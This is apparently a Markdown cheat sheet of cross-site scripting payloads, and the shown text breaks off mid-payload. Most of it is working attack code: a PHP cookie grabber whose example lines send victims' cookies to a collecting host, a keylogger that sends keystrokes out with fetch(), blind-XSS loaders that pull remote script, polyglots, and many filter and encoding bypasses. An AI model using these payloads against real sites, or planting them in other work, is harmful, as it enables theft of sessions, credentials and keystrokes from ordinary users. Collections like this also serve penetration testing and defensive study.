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925 lines
37 KiB
Markdown
925 lines
37 KiB
Markdown
# Cross Site Scripting
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Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
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- [Exploit code or POC](#exploit-code-or-poc)
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- [Identify an XSS endpoint](#identify-an-xss-endpoint)
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- [XSS in HTML/Applications](#xss-in-htmlapplications)
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- [XSS in wrappers javascript and data URI](#xss-in-wrappers-javascript-and-data-uri)
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- [XSS in files (XML/SVG/CSS/Flash/Markdown)](#xss-in-files)
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- [Blind XSS](#blind-xss)
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- [Polyglot XSS](#polyglot-xss)
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- [Filter Bypass and Exotic payloads](#filter-bypass-and-exotic-payloads)
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- [CSP Bypass](#csp-bypass)
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- [Common WAF Bypas](#common-waf-bypass)
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## Exploit code or POC
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Cookie grabber for XSS
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```php
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<?php
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// How to use it
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<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
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or
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<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
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// Write the cookie in a file
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$cookie = $_GET['c'];
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$fp = fopen('cookies.txt', 'a+');
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fwrite($fp, 'Cookie:' .$cookie.'\r\n');
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fclose($fp);
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?>
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```
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Keylogger for XSS
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```javascript
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<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
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```
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More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all](http://www.xss-payloads.com/payloads-list.html?a#category=all):
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- [Taking screenshots using XSS and the HTML5 Canvas](https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/)
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- [JavaScript Port Scanner](http://www.gnucitizen.org/blog/javascript-port-scanner/)
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- [Network Scanner](http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html)
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- [.NET Shell execution](http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html)
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- [Redirect Form](http://www.xss-payloads.com/payloads/scripts/redirectform.js.html)
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- [Play Music](http://www.xss-payloads.com/payloads/scripts/playmusic.js.html)
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## Identify an XSS endpoint
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```javascript
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<script>debugger;</script>
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```
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## XSS in HTML/Applications
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XSS Basic
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```javascript
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Basic payload
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<script>alert('XSS')</script>
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<scr<script>ipt>alert('XSS')</scr<script>ipt>
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"><script>alert('XSS')</script>
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"><script>alert(String.fromCharCode(88,83,83))</script>
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Img payload
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<img src=x onerror=alert('XSS');>
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<img src=x onerror=alert('XSS')//
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<img src=x onerror=alert(String.fromCharCode(88,83,83));>
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<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
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<img src=x:alert(alt) onerror=eval(src) alt=xss>
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"><img src=x onerror=alert('XSS');>
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"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
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Svg payload
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<svg onload=alert(1)>
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<svg/onload=alert('XSS')>
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<svg onload=alert(1)//
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<svg/onload=alert(String.fromCharCode(88,83,83))>
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<svg id=alert(1) onload=eval(id)>
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"><svg/onload=alert(String.fromCharCode(88,83,83))>
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"><svg/onload=alert(/XSS/)
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```
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XSS for HTML5
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```javascript
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<body onload=alert(/XSS/.source)>
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<input autofocus onfocus=alert(1)>
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<select autofocus onfocus=alert(1)>
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<textarea autofocus onfocus=alert(1)>
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<keygen autofocus onfocus=alert(1)>
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<video/poster/onerror=alert(1)>
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<video><source onerror="javascript:alert(1)">
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<video src=_ onloadstart="alert(1)">
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<details/open/ontoggle="alert`1`">
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<audio src onloadstart=alert(1)>
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<marquee onstart=alert(1)>
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<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>
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<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
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<body ontouchend=alert(1)> // Triggers when a finger is removed from touch screen
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<body ontouchmove=alert(1)> // When a finger is dragged across the screen.
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```
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XSS using script tag (external payload)
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```javascript
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<script src=14.rs>
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you can also specify an arbitratry payload with 14.rs/#payload
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e.g: 14.rs/#alert(document.domain)
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```
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XSS in META tag
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```javascript
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Base64 encoded
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<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
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<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>
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With an additional URL
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<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
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```
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XSS in Hidden input
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```javascript
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<input type="hidden" accesskey="X" onclick="alert(1)">
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Use CTRL+SHIFT+X to trigger the onclick event
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```
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DOM XSS
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```javascript
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#"><img src=/ onerror=alert(2)>
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```
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XSS in JS Context (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)
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```javascript
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-(confirm)(document.domain)//
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; alert(1);//
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```
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XSS URL
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```javascript
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URL/<svg onload=alert(1)>
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URL/<script>alert('XSS');//
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URL/<input autofocus onfocus=alert(1)>
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```
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## XSS in wrappers javascript and data URI
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XSS with javascript:
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```javascript
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javascript:prompt(1)
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%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
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javascript:confirm(1)
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We can encode the "javacript:" in Hex/Octal
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\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
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\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
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\152\141\166\141\163\143\162\151\160\164\072alert(1)
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We can use a 'newline character'
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java%0ascript:alert(1) - LF (\n)
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java%09script:alert(1) - Horizontal tab (\t)
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java%0dscript:alert(1) - CR (\r)
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Using the escape character
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\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
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Using the newline and a comment //
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javascript://%0Aalert(1)
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javascript://anything%0D%0A%0D%0Awindow.alert(1)
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```
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XSS with data:
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```javascript
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data:text/html,<script>alert(0)</script>
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data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
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<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
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```
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XSS with vbscript: only IE
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```javascript
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vbscript:msgbox("XSS")
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```
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## XSS in files
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** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.
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```xml
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<name>
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<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
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</name>
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```
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XSS in XML
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```xml
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<html>
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<head></head>
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<body>
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<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
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</body>
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</html>
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```
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XSS in SVG
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```xml
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<?xml version="1.0" standalone="no"?>
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<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
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<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
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<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
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<script type="text/javascript">
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alert(document.domain);
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</script>
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</svg>
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```
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XSS in SVG (short)
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```javascript
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<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
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<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
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<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
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<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
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```
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XSS in Markdown
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```csharp
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[a](javascript:prompt(document.cookie))
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[a](j a v a s c r i p t:prompt(document.cookie))
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[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
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[a](javascript:window.onerror=alert;throw%201)
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```
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XSS in SWF flash application
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```powershell
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Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
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IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
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IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
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```
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more payloads in ./files
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XSS in SWF flash application
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```
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flashmediaelement.swf?jsinitfunctio%gn=alert`1`
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flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
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ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
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swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
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swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
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plupload.flash.swf?%#target%g=alert&uid%g=XSS&
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moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
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video-js.swf?readyFunction=alert(1)
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player.swf?playerready=alert(document.cookie)
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player.swf?tracecall=alert(document.cookie)
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banner.swf?clickTAG=javascript:alert(1);//
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io.swf?yid=\"));}catch(e){alert(1);}//
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video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
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bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
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flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
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phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//
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```
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XSS in CSS
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```html
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<!DOCTYPE html>
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<html>
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<head>
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<style>
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div {
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background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
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background-color: #cccccc;
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}
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</style>
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</head>
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<body>
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<div>lol</div>
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</body>
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</html>
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```
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## Blind XSS
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### XSS Hunter
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Available at [https://xsshunter.com/app](https://xsshunter.com/app)
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> XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.
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```javascript
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"><script src=//yoursubdomain.xss.ht></script>
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javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yoursubdomain.xss.ht\';document.body.appendChild(a)')
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<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//yoursubdomain.xss.ht");a.send();</script>
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<script>$.getScript("//yoursubdomain.xss.ht")</script>
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```
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### Other tools for Blind XSS
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- [sleepy-puppy - Netflix](https://github.com/Netflix-Skunkworks/sleepy-puppy)
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- [bXSS - LewisArdern](https://github.com/LewisArdern/bXSS)
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- [BlueLotus_XSSReceiver - FiresunCN](https://github.com/firesunCN/BlueLotus_XSSReceiver)
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- [ezXSS - ssl](https://github.com/ssl/ezXSS)
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### Blind XSS endpoint
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- Contact forms
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- Ticket support
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- Referer Header
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- Custom Site Analytics
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- Administrative Panel logs
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## Polyglot XSS
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Polyglot XSS - 0xsobky
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```javascript
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jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
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```
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Polyglot XSS - Ashar Javed
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```javascript
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">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
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```
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Polyglot XSS - Mathias Karlsson
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```javascript
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" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
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```
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Polyglot XSS - Rsnake
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```javascript
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';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
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```
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Polyglot XSS - Daniel Miessler
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```javascript
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';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
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“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
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'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
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javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
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javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
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javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
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javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
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javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
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javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
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javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
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--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
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/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
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javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
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/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
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```
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Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514)
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```javascript
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-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
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```
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```javascript
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<svg%0Ao%00nload=%09((pro\u006dpt))()//
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```
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Polyglot XSS - from [@filedescriptor's Polyglot Challenge](http://polyglot.innerht.ml)
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```javascript
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# by crlf
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javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
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# by europa
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javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
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# by EdOverflow
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javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
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# by h1/ragnar
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javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
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```
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## Filter Bypass and exotic payloads
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Bypass case sensitive
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```javascript
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<sCrIpt>alert(1)</ScRipt>
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```
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Bypass tag blacklist
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```javascript
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<script x>
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<script x>alert('XSS')<script y>
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```
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Bypass word blacklist with code evaluation
|
||
|
||
```javascript
|
||
eval('ale'+'rt(0)');
|
||
Function("ale"+"rt(1)")();
|
||
new Function`al\ert\`6\``;
|
||
setTimeout('ale'+'rt(2)');
|
||
setInterval('ale'+'rt(10)');
|
||
Set.constructor('ale'+'rt(13)')();
|
||
Set.constructor`al\x65rt\x2814\x29```;
|
||
```
|
||
|
||
Bypass with incomplete html tag - IE/Firefox/Chrome/Safari
|
||
|
||
```javascript
|
||
<img src='1' onerror='alert(0)' <
|
||
```
|
||
|
||
Bypass quotes for string
|
||
|
||
```javascript
|
||
String.fromCharCode(88,83,83)
|
||
```
|
||
|
||
Bypass quotes in script tag
|
||
|
||
```javascript
|
||
http://localhost/bla.php?test=</script><script>alert(1)</script>
|
||
<html>
|
||
<script>
|
||
<?php echo 'foo="text '.$_GET['test'].'";';`?>
|
||
</script>
|
||
</html>
|
||
```
|
||
|
||
Bypass quotes in mousedown event
|
||
|
||
```javascript
|
||
<a href="" onmousedown="var name = '';alert(1)//'; alert('smthg')">Link</a>
|
||
|
||
You can bypass a single quote with ' in an on mousedown event handler
|
||
```
|
||
|
||
Bypass dot filter
|
||
|
||
```javascript
|
||
<script>window['alert'](document['domain'])<script>
|
||
```
|
||
|
||
Bypass parenthesis for string - Firefox/Opera
|
||
|
||
```javascript
|
||
alert`1`
|
||
setTimeout`alert\u0028document.domain\u0029`;
|
||
```
|
||
|
||
Bypass onxxxx= blacklist
|
||
|
||
```javascript
|
||
<object onafterscriptexecute=confirm(0)>
|
||
<object onbeforescriptexecute=confirm(0)>
|
||
```
|
||
|
||
Bypass onxxx= filter with a null byte/vertical tab - IE/Safari
|
||
|
||
```javascript
|
||
<img src='1' onerror\x00=alert(0) />
|
||
<img src='1' onerror\x0b=alert(0) />
|
||
```
|
||
|
||
Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari
|
||
|
||
```javascript
|
||
<img src='1' onerror/=alert(0) />
|
||
```
|
||
|
||
Bypass space filter with "/" - IE/Firefox/Chrome/Safari
|
||
|
||
```javascript
|
||
<img/src='1'/onerror=alert(0)>
|
||
```
|
||
|
||
Bypass space filter with 0x0c/^L
|
||
|
||
```javascript
|
||
<svg onload = alert(1) >
|
||
|
||
|
||
$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
|
||
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al
|
||
00000010: 6572 7428 3129 0c3e 0a ert(1).>.
|
||
```
|
||
|
||
Bypass email filter ([RFC compliant](http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate))
|
||
|
||
```javascript
|
||
"><svg/onload=confirm(1)>"@x.y
|
||
```
|
||
|
||
Bypass document blacklist
|
||
|
||
```javascript
|
||
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
|
||
```
|
||
|
||
Bypass using javascript inside a string
|
||
|
||
```javascript
|
||
<script>
|
||
foo="text </script><script>alert(1)</script>";
|
||
</script>
|
||
```
|
||
|
||
Bypass using an alternate way to redirect
|
||
|
||
```javascript
|
||
location="http://google.com"
|
||
document.location = "http://google.com"
|
||
document.location.href="http://google.com"
|
||
window.location.assign("http://google.com")
|
||
window['location']['href']="http://google.com"
|
||
```
|
||
|
||
Bypass using an alternate way to execute an alert - [@brutelogic](https://twitter.com/brutelogic/status/965642032424407040)
|
||
|
||
```javascript
|
||
window['alert'](0)
|
||
parent['alert'](1)
|
||
self['alert'](2)
|
||
top['alert'](3)
|
||
this['alert'](4)
|
||
frames['alert'](5)
|
||
content['alert'](6)
|
||
|
||
[7].map(alert)
|
||
[8].find(alert)
|
||
[9].every(alert)
|
||
[10].filter(alert)
|
||
[11].findIndex(alert)
|
||
[12].forEach(alert);
|
||
```
|
||
|
||
Bypass using an alternate way to execute an alert - [@404death](https://twitter.com/404death/status/1011860096685502464)
|
||
|
||
```javascript
|
||
eval('ale'+'rt(0)');
|
||
Function("ale"+"rt(1)")();
|
||
new Function`al\ert\`6\``;
|
||
|
||
constructor.constructor("aler"+"t(3)")();
|
||
[].filter.constructor('ale'+'rt(4)')();
|
||
|
||
top["al"+"ert"](5);
|
||
top[8680439..toString(30)](7);
|
||
top[/al/.source+/ert/.source](8);
|
||
top['al\x65rt'](9);
|
||
|
||
open('java'+'script:ale'+'rt(11)');
|
||
location='javascript:ale'+'rt(12)';
|
||
|
||
setTimeout`alert\u0028document.domain\u0029`;
|
||
setTimeout('ale'+'rt(2)');
|
||
setInterval('ale'+'rt(10)');
|
||
Set.constructor('ale'+'rt(13)')();
|
||
Set.constructor`al\x65rt\x2814\x29```;
|
||
```
|
||
|
||
Bypass using an alternate way to trigger an alert
|
||
|
||
```javascript
|
||
var i = document.createElement("iframe");
|
||
i.onload = function(){
|
||
i.contentWindow.alert(1);
|
||
}
|
||
document.appendChild(i);
|
||
|
||
// Bypassed security
|
||
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
|
||
var proxy = obj[name];
|
||
obj[name] = function () {
|
||
if (exec_original) {
|
||
return proxy.apply(this, arguments);
|
||
}
|
||
};
|
||
XSSObject.lockdown(obj, name);
|
||
};
|
||
XSSObject.proxy(window, 'alert', 'window.alert', false);
|
||
```
|
||
|
||
Bypass ">" using nothing #trololo (you don't need to close your tags)
|
||
|
||
```javascript
|
||
<svg onload=alert(1)//
|
||
```
|
||
|
||
Bypass ';' using another character
|
||
|
||
```javascript
|
||
'te' * alert('*') * 'xt';
|
||
'te' / alert('/') / 'xt';
|
||
'te' % alert('%') % 'xt';
|
||
'te' - alert('-') - 'xt';
|
||
'te' + alert('+') + 'xt';
|
||
'te' ^ alert('^') ^ 'xt';
|
||
'te' > alert('>') > 'xt';
|
||
'te' < alert('<') < 'xt';
|
||
'te' == alert('==') == 'xt';
|
||
'te' & alert('&') & 'xt';
|
||
'te' , alert(',') , 'xt';
|
||
'te' | alert('|') | 'xt';
|
||
'te' ? alert('ifelsesh') : 'xt';
|
||
'te' in alert('in') in 'xt';
|
||
'te' instanceof alert('instanceof') instanceof 'xt';
|
||
```
|
||
|
||
Bypass using HTML encoding
|
||
|
||
```javascript
|
||
%26%2397;lert(1)
|
||
```
|
||
|
||
Bypass using [Katakana](https://github.com/aemkei/katakana.js)
|
||
|
||
```javascript
|
||
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
|
||
```
|
||
|
||
Bypass using Octal encoding
|
||
|
||
```javascript
|
||
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
|
||
```
|
||
|
||
Bypass using Unicode
|
||
|
||
```javascript
|
||
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
|
||
transformed into U+003C LESSTHAN SIGN (<)
|
||
|
||
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
|
||
transformed into U+0022 QUOTATION MARK (")
|
||
|
||
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
|
||
transformed into U+0027 APOSTROPHE (')
|
||
|
||
Unicode character U+FF1C FULLWIDTH LESSTHAN SIGN (encoded as %EF%BC%9C) was
|
||
transformed into U+003C LESSTHAN SIGN (<)
|
||
|
||
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
|
||
transformed into U+0022 QUOTATION MARK (")
|
||
|
||
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
|
||
transformed into U+0027 APOSTROPHE (')
|
||
|
||
E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
|
||
%EF%BC%9E becomes >
|
||
%EF%BC%9C becomes <
|
||
```
|
||
|
||
Bypass using Unicode converted to uppercase
|
||
|
||
```javascript
|
||
İ (%c4%b0).toLowerCase() => i
|
||
ı (%c4%b1).toUpperCase() => I
|
||
ſ (%c5%bf) .toUpperCase() => S
|
||
K (%E2%84%AA).toLowerCase() => k
|
||
|
||
<ſvg onload=... > become <SVG ONLOAD=...>
|
||
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
|
||
```
|
||
|
||
Bypass using overlong UTF-8
|
||
|
||
```javascript
|
||
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
|
||
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
|
||
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
|
||
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
|
||
" = %CA%BA
|
||
' = %CA%B9
|
||
```
|
||
|
||
Bypass using UTF-7
|
||
|
||
```javascript
|
||
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
|
||
```
|
||
|
||
Bypass using UTF-16be
|
||
|
||
```javascript
|
||
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
|
||
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
|
||
```
|
||
|
||
Bypass using UTF-32
|
||
|
||
```js
|
||
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
|
||
```
|
||
|
||
Bypass using BOM - Byte Order Mark (The page must begin with the BOM character.)
|
||
BOM character allows you to override charset of the page
|
||
|
||
```js
|
||
BOM Character for UTF-16 Encoding:
|
||
Big Endian : 0xFE 0xFF
|
||
Little Endian : 0xFF 0xFE
|
||
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E
|
||
|
||
BOM Character for UTF-32 Encoding:
|
||
Big Endian : 0x00 0x00 0xFE 0xFF
|
||
Little Endian : 0xFF 0xFE 0x00 0x00
|
||
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
|
||
```
|
||
|
||
|
||
Bypass using weird encoding or native interpretation to hide the payload (alert())
|
||
|
||
```javascript
|
||
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
|
||
<img src="1" onerror="alert(1)" />
|
||
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
|
||
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
|
||
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!!